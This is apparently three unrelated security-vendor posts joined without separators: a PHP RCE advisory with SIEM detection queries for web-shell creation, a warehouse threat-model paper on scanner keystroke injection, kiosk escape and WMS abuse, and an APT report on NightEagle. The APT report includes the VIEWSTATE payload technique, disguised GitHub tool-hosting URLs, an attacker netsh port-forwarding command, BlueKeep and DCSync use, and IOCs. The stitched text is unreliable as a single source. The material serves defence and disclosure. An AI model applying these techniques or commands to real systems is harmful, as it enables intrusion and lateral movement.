On October 20, 2026, the PHP security team published a preliminary notice regarding an upcoming emergency release that addresses two critical vulnerabilities (both rated 9.2 on the CVSS scale). The patches were released on Wednesday, October 21, 2026, at 14:00 UTC.

The release was expedited after information about the vulnerabilities was leaked to the public before the scheduled embargo was lifted. In a post on Hacker News, a user reported two RCE vulnerabilities in PHP, allegedly affecting all versions starting with PHP 5.4.0.

The vulnerabilities in question are CVE-2026-109618 and CVE-2026-109619. Shortly after the post appeared, researchers confirmed the existence of the vulnerabilities. Along with the leak of details, an exploit unofficially named PHP2Shell appeared online. In the leaked demo video, the exploit is shown in action on web servers running WordPress, MediaWiki, phpBB, Magento, Joomla, Laravel, Symfony, Drupal, and WHMCS — platforms that power many modern websites. The authenticity of the demonstration and the exact behavior of the exploit had not been independently verified at the time of publication.

According to the researcher who published the PoC, the vulnerabilities are related to the handling of the multipart/form-data MIME type in conjunction with the session upload progress mechanism (session.upload_progress) in the PHP core and fall under the categories of use-after-free and memory corruption. This means that the flaws cannot be fixed via application code, and the only fix is to update PHP on the server. The attack requires no authentication: an attacker with network access to a PHP application can execute arbitrary code with the privileges of the PHP process without needing to authenticate. Security advisories issued by the PHP team on October 21 confirm this information.

The vulnerabilities affect PHP versions 5, 7, and 8. As of this publication, branches 8.2 through 8.5 are supported. Older branches, including PHP 8.1, 8.0, 7.x, and 5.x, have reached the end of their lifecycle; however, due to the critical severity of the vulnerabilities, backported patches have also been released for versions 7.4, 8.0, and 8.1.

Sansec experts estimate that widespread exploitation could begin within 15 minutes of the update’s release. We strongly recommend that administrators responsible for publicly accessible PHP web servers take the following steps before the patch is available:

1. Take an inventory of all PHP-based systems in your infrastructure (such as web servers, control panels, and third-party software).
2. Disable upload-progress: set session.upload_progress.enabled = Off using the php_admin_flag in PHP-FPM pools.
3. Block multipart requests on nginx and Apache servers.
4. Consider temporarily isolating PHP applications that connect to the Internet until fixes are released.
5. Be ready to install the patch immediately upon its release.
6. Plan to migrate servers running unsupported versions (8.1 and earlier) to the latest PHP branch.

Detection by Kaspersky solutions

Kaspersky solutions detect the described malicious activity at various stages of the attack. Possible detection scenarios are listed below.

When an attempt is made to exploit these RCE vulnerabilities, Kaspersky Endpoint Detection and Response promptly alerts the user to suspicious actions performed in the context of a web server, on both Linux and Windows machines. This activity is detected by the following rules:

• creating_windows_shell_from_a_web_servers_process;
• possible_web_shell_creating_via_exploit;
• spawning_process_from_webserver_more_filters_linux;
• webserver_interpreter_execution_linux;
• executable_file_in_www_folder.

Exploitation of the PHP2Shell vulnerability in network traffic is detected by Kaspersky Anti Targeted Attack (KATA). This solution detects such activity with the following verdicts: Exploit.CVE-2026-109618.HTTP.C&C and Exploit.CVE-2026-109619.HTTP.C&C.

Kaspersky Endpoint Security, now available as Kaspersky Next, also detects malicious post-exploitation activity using the Behavior Detection component, with verdicts such as PDM:Exploit.Linux.Generic and PDM:Exploit.Win32.Generic.

Our Kaspersky Vulnerability Management solution detects vulnerable software versions using the Vulnerability scanning and Agentless black-box scanning components.

The Kaspersky Managed Detection and Response service detects the exploitation of the described vulnerabilities by monitoring activity characteristic of RCE:

• Spawning of suspicious processes by the web server;
• Creation of suspicious executable files in the web application directory;
• Creation of suspicious scripts in the web application directory;
• Creation of files with uncommon extensions in the web application directory;
• Execution of reconnaissance commands by the web server process;
• Execution of persistence commands by the web server process;
• Delivery and launch of web shells on the web server.

Moreover, MDR detects other malicious activity not directly related to remote code execution.

To protect companies that use our Kaspersky SIEM system, the product repository includes rules that help detect the following malicious activity.

• Execution of suspicious executable files by web server processes on Windows and Linux machines:
  • R300_04_Windows shell started by a web application
  • R152_08_A running Linux shell process has a suspicious parent process
• Execution of reconnaissance commands by the web server process:
  • R286_05_Possible web-shell (Linux)

We also recommend monitoring the creation of scripts or executable files in the web server directory when developing your own detection rules or conducting threat hunting:

((DeviceEventClassID = '4663' AND DeviceCustomString1 ilike 'WriteData') OR DeviceEventClassID = '11')
AND match(FileName,'(?i).*\.(php|asp|aspx|ashx|jsp|js|jar|jse|dll|exe|bat|ps1|vbs|wsf|wsh|msi|msp|hta|cpl)$')
AND match(DestinationProcessName,'(?i).*(php-cgi|nginx|httpd|w3wp)\.exe')

Name = 'openat' AND has(SA.Nametype, 'CREATE')
AND
length(arrayFilter(x -> match(x, '(public_html|var/www|usr/local/apache2|usr/local/httpd|var/apache|srv/www|home/httpd/html|srv/http|usr/share/nginx/html|var/lib/pgsql/data|usr/local/mysql/data|var/lib/mysql|var/vsftpd|etc/bind|var/named)'), SA.FileName))>1
AND
length(arrayFilter(x -> match(x, '\.(aspx|asp|asmx|asax|ashx|jspx|jsp|js|phpt|php|phtml|pht|cfm|shtml|htaccess|fcgi|cgi|pl|py|sh)'), SA.FileName))>1

Introduction

Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.

Now let’s multiply one late unicorn by several hundred thousand orders.

Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.

It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.

This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.

Tracing the unicorn

A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.

So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.

1. Unloading
   First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
2. Receiving
   At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
3. Putaway
   Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
4. Storage
   Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
5. Picking
   When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
6. Sorting
   At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
7. Packing
   During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
8. Shipment
   Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.

All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.

Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).

That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.

Hunting the unicorn

Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.

The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.

The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.

The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:

1. External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
   1. Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
   2. Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
2. Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.

Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.

Cornering the unicorn

Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.

On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.

Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.

Initial attack vectors

Internet-facing services

Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.

Wi-Fi, Bluetooth, and other radio channels

Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.

Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.

That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.

However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.

Physical network

The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.

That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.

Barcode scanners

Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.

This makes the scanner an entry point into the core network in two ways.

First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.

Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.

In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.

Portable data terminals

Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.

That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.

Printers

Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.

Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.

Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.

Impact on logistics processes (attacks on WMS)

With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.

Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.

To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.

Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.

A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.

The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.

The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.

This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.

Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.

Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.

PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.

However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.

Securing the unicorn

We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.

Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.

Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.

Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.

Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.

Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.

Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.

If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.

Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.

Initial access

In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.

GhostContainer on Microsoft Exchange

Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.

We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.

The backdoor is a .NET assembly containing three classes that implement its core functionality:

• Stub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.
• App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.
• App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.

Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.

Traffic redirection

Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.

The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:

• https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/js-webpack.zip
• https://github[.]com/mirror-js/mirror-js/refs/heads/main/js/jsonp-pack.zip
• https://github[.]com/browserthemes/resourcepack/releases/download/main/resource-pack.zip

The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:

• adobe_32.exe;
• AdobeSync.exe;
• trueconf.exe;
• 1cbroker.exe;
• 1c-office-plugin.exe;
• trueconf-broker.exe.

Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.

1. Microsoft dev tunnels
   This is a legitimate Microsoft mechanism that allows local web services to be published for internet access on *.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.
   

   Execution graph of adobe_32.exe in Kaspersky Research Sandbox

2. rdp2tcp
   This is a publicly available tool for tunneling TCP traffic over an established RDP connection. It includes a server component that runs on the target system and a client component that runs on the attacker’s side.

   When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.

   When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.

   

   Creation event for a channel named rdp2tcp (server component startup)

The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.

The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:

netsh interface portproxy add v4tov4 listenport=443 connectaddress=10.0.12.101 connectport=445

Lateral movement

To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.

In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.

The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.

Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victim’s entire Active Directory infrastructure.

Takeaways

To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the group’s efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagle’s presence on the network.

Detection by Kaspersky solutions

Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kaspersky’s collection.

The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:

However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.

This malicious activity is detected by the following rules, available in the repository:

• Initial detection of the malicious signature occurs through the generic_ransomware_related_detection rule, based on EPP module events
• Detection of a malicious DLL’s .NET assembly being loaded via PowerShell: suspicious_assembly_loading_into_powershell_via_reflection
• Activity of tunneling and traffic redirection tools: detection_of_access_to_tunnel_domains_dns
• Use of tools from the Impacket toolkit, such as atexec:
  • impacket_possible_activity
  • attempt_to_download_hacktool_or_risktool_by_non_browser
  • credentials_dumping_tools_file_artifacts_creation
• Attempts to replicate an Active Directory database object to impersonate a domain controller: potential_dcsync_via_startupparameters

Kaspersky Anti Targeted Attack (KATA) detects this malicious activity in network traffic. For example, the Exploit.CVE-2019-0708.TCP.C&C signature allows detecting attempts to exploit the CVE-2019-0708 (BlueKeep) vulnerability.

Beyond this activity, KATA also detects other NightEagle actions in network traffic, such as the following:

• Traffic redirection and tunneling variations
• Attacks on Active Directory (DCSync, attempts to compromise AD CS, and others)
• Lateral movement across the network

Indicators of compromise

1dcafb7f8448683281106b06dd22409a	AdobeSync.exe
1f3034b706c78b35d8e34044e68c693a	adobe_32.exe
3ecd1cd627d0340c92901a478a7caad8 631fb131a56caf4ca0f287ed73e876ab	App_Web_Container_1.dll
